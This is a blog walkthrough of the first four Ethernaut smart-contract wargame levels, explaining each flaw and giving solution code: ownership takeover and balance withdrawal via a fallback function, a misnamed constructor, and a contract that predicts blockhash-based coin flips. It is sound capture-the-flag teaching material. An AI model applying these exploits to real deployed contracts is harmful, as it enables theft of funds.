Ethernaut Walkthrough - Part 1

kennethtxytqw

YesYouKen

Posted on April 20, 2023

Ethernaut Walkthrough - Part 1

Hello I am YesYouKen, this is my first time writing a walkthrough and I am just going to write as things come. Enjoy! And, I hope this helps!

Each level gets its own section and I will talk about how I get to the answer but if you want to go to the hint or the answer they are at the end of each section.

Levels

1. Hello Ethernaut

This one is easy. Just got to go through everything.

Take a longer look at the contract object to see if anything shouts password

Solution:

how to get the password contract.password()

2. Fallback

Our goal is to call contract.withdraw to get all the balance in the smart contract account

  1. Notice the onlyOwner modifier
    • it prevents anyone other than the owner from calling contract.withdraw
    • this is where I found out more about modifiers What are solidity modifiers?
  2. There are two lines in the smart contract that allows us to change the owner of the smart contract with the following line owner = msg.sender;
    • in contribute and receive
  3. Notice that receive looks a little different from other function. Did some research and found out that receive() external payable is a fallback function that is called "if Ether are sent to the contract and no calldata are provided" (ref.1)

There are two possible solutions

Solution A
// There are two answers

// Either do this multiple times, 
await contract.contribute({value: toWei('0.0009')})
// until we have contributed more the owner
await contract.withdraw()

Solution B
await contract.contribute({value: toWei('0.00001')})
await contract.sendTransaction({value: toWei('0.00001')})
await contract.withdraw()

3. Fallout

Once again, same goal become the owner of the contract.

Solution

  1. Notice that there is only one function that allows change of owner which is Fallout
  2. Tries to call contract.Fallout but realised it is undefined.
  3. then notice the typo it is actually Fal1out , the second l is actually a 1
  4. Just call the following and you will become the owner
await contract.Fal1out()
Enter fullscreen mode Exit fullscreen mode

Takeaways

  • Turns out that it has to be a typo else the challenge will not work, the challenge simulates a typo where the constructors is misnamed and became a public function instead.
  • Seems like a bad idea to even define constructors by the contract name, note to myself, maybe just use the constructor keyword?

4. Coin Flip

We need to rack up some consecutive wins by making the right guesses.

I faced a few hiccups here.

  1. I tried to be fancy here and did a for-loop only to realised that the challenge prevents that with the following
uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); }
Enter fullscreen mode Exit fullscreen mode

it will error out with execution reverted example transaction

Solution

pragma solidity >=0.8.2 <0.9.0;  

contract CoinFlipCheater {
    CoinFlip coinflip;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    constructor(address a) {
        coinflip = CoinFlip(a);
    }

    function guess(uint times) external {
            uint256 blockValue = uint256(blockhash(block.number - 1));
            uint256 coinFlip = blockValue / FACTOR;
            bool side = coinFlip == 1 ? true : false;
            coinflip.flip(side);
    }
}

interface CoinFlip {
    function flip(bool _guess) external returns (bool);
}

Takeaways

  • external is like public but cannot be called internally

References

  1. https://blog.soliditylang.org/2020/03/26/fallback-receive-split/ ^ref1
  2. https://www.freecodecamp.org/news/what-are-solidity-modifiers ^ref2
💖 💪 🙅 🚩
kennethtxytqw
YesYouKen

Posted on April 20, 2023

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related